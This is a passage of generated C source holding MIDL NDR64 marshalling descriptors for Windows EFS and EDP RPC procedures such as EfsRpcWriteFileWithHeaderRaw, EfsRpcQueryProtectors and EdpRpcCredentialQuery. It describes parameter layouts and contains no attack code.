Proc29_EdpRpcQueryDplEnforcedPolicyOwnerIds */\n        (NDR64_UINT32) 17698880 /* 0x10e1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ServerMustSize, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag379,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag273,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag262_t __midl_frag262 =\n{ \n/* Proc28_EdpRpcQueryRevokedPolicyOwnerIds */\n    { \n    /* Proc28_EdpRpcQueryRevokedPolicyOwnerIds */      /* procedure Proc28_EdpRpcQueryRevokedPolicyOwnerIds */\n        (NDR64_UINT32) 17698880 /* 0x10e1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ServerMustSize, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag379,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag398,\n        { \n        /* arg_2 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag273,\n        { \n        /* arg_3 */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag251_t __midl_frag251 =\n{ \n/* Proc27_EdpRpcCredentialDelete */\n    { \n    /* Proc27_EdpRpcCredentialDelete */      /* procedure Proc27_EdpRpcCredentialDelete */\n        (NDR64_UINT32) 17567808 /* 0x10c1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag398,\n        { \n        /* arg_1 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag379,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag379,\n        { \n        /* arg_3 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag379,\n        { \n        /* arg_4 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* arg_5 */      /* parameter arg_5 */\n        &__midl_frag379,\n        { \n        /* arg_5 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag241_t __midl_frag241 =\n{ \n/* Proc26_EdpRpcCredentialExists */\n    { \n    /* Proc26_EdpRpcCredentialExists */      /* procedure Proc26_EdpRpcCredentialExists */\n        (NDR64_UINT32) 17567808 /* 0x10c1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag379,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag379,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag379,\n        { \n        /* arg_3 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag398,\n        { \n        /* arg_4 */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag230_t __midl_frag230 =\n{ \n/* Proc25_EdpRpcCredentialQuery */\n    { \n    /* Proc25_EdpRpcCredentialQuery */      /* procedure Proc25_EdpRpcCredentialQuery */\n        (NDR64_UINT32) 17698880 /* 0x10e1040 */,    /* explicit handle */ /* IsIntrepreted, [ptr], ServerMustSize, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag379,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag379,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag379,\n        { \n        /* arg_3 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag273,\n        { \n        /* arg_4 */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag215_t __midl_frag215 =\n{ \n/* *Struct_392_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag165\n};\n\nstatic const __midl_frag213_t __midl_frag213 =\n{ \n/* pipe_ */\n    0xa3,    /* FC64_PIPE */\n    (NDR64_UINT8) 64 /* 0x40 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    &__midl_frag395,\n    (NDR64_UINT32) 1 /* 0x1 */,\n    (NDR64_UINT32) 1 /* 0x1 */\n};\n\nstatic const __midl_frag212_t __midl_frag212 =\n{ \n/* *pipe_ */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag213\n};\n\nstatic const __midl_frag211_t __midl_frag211 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag210_t __midl_frag210 =\n{ \n/* Proc23_EfsRpcWriteFileWithHeaderRaw */\n    { \n    /* Proc23_EfsRpcWriteFileWithHeaderRaw */      /* procedure Proc23_EfsRpcWriteFileWithHeaderRaw */\n        (NDR64_UINT32) 19677248 /* 0x12c4040 */,    /* explicit handle */ /* IsIntrepreted, pipe, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_0 */      /* parameter arg_0 */\n        &__midl_frag211,\n        { \n        /* arg_0 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag213,\n        { \n        /* arg_1 */\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* pipe, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* arg_2 */      /* parameter arg_2 */\n        &__midl_frag165,\n        { \n        /* arg_2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* arg_3 */      /* parameter arg_3 */\n        &__midl_frag382,\n        { \n        /* arg_3 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* arg_4 */      /* parameter arg_4 */\n        &__midl_frag398,\n        { \n        /* arg_4 */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag208_t __midl_frag208 =\n{ \n/*  */\n    { \n    /* **_ENCRYPTION_PROTECTOR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag202\n    }\n};\n\nstatic const __midl_frag207_t __midl_frag207 =\n{ \n/* *_ENCRYPTION_PROTECTOR */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag204\n};\n\nstatic const __midl_frag206_t __midl_frag206 =\n{ \n/*  */\n    { \n    /* *RPC_SID */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag42\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag392\n    }\n};\n\nstatic const __midl_frag204_t __midl_frag204 =\n{ \n/* _ENCRYPTION_PROTECTOR */\n    { \n    /* _ENCRYPTION_PROTECTOR */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _ENCRYPTION_PROTECTOR */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag206,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag203_t __midl_frag203 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag202_t __midl_frag202 =\n{ \n/* **_ENCRYPTION_PROTECTOR */\n    { \n    /* **_ENCRYPTION_PROTECTOR */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* **_ENCRYPTION_PROTECTOR */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag203\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *_ENCRYPTION_PROTECTOR */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag204\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag207\n    }\n};\n\nstatic const __midl_frag201_t __midl_frag201 =\n{ \n/* _ENCRYPTION_PROTECTOR_LIST */\n    { \n    /* _ENCRYPTION_PROTECTOR_LIST */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _ENCRYPTION_PROTECTOR_LIST */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag208,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag200_t __midl_frag200 =\n{ \n/* *_ENCRYPTION_PROTECTOR_LIST */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag201\n};\n\nstatic const __midl_frag199_t __midl_frag199 =\n{ \n/* **_ENCRYPTION_PROTECTOR_LIST */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 16 /* 0x10 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag200\n};\n\nstatic const __midl_frag198_t __midl_frag198 =\n{ \n/* ***_ENCRYPTION_PROTECTOR_LIST */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag199\n};\n\nstatic const __midl_frag195_t __midl_frag195 =\n{ \n/* EfsRpcQueryProtectors */\n    { \n    /* EfsRpcQueryProtectors */      /* procedure EfsRpcQueryProtectors */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 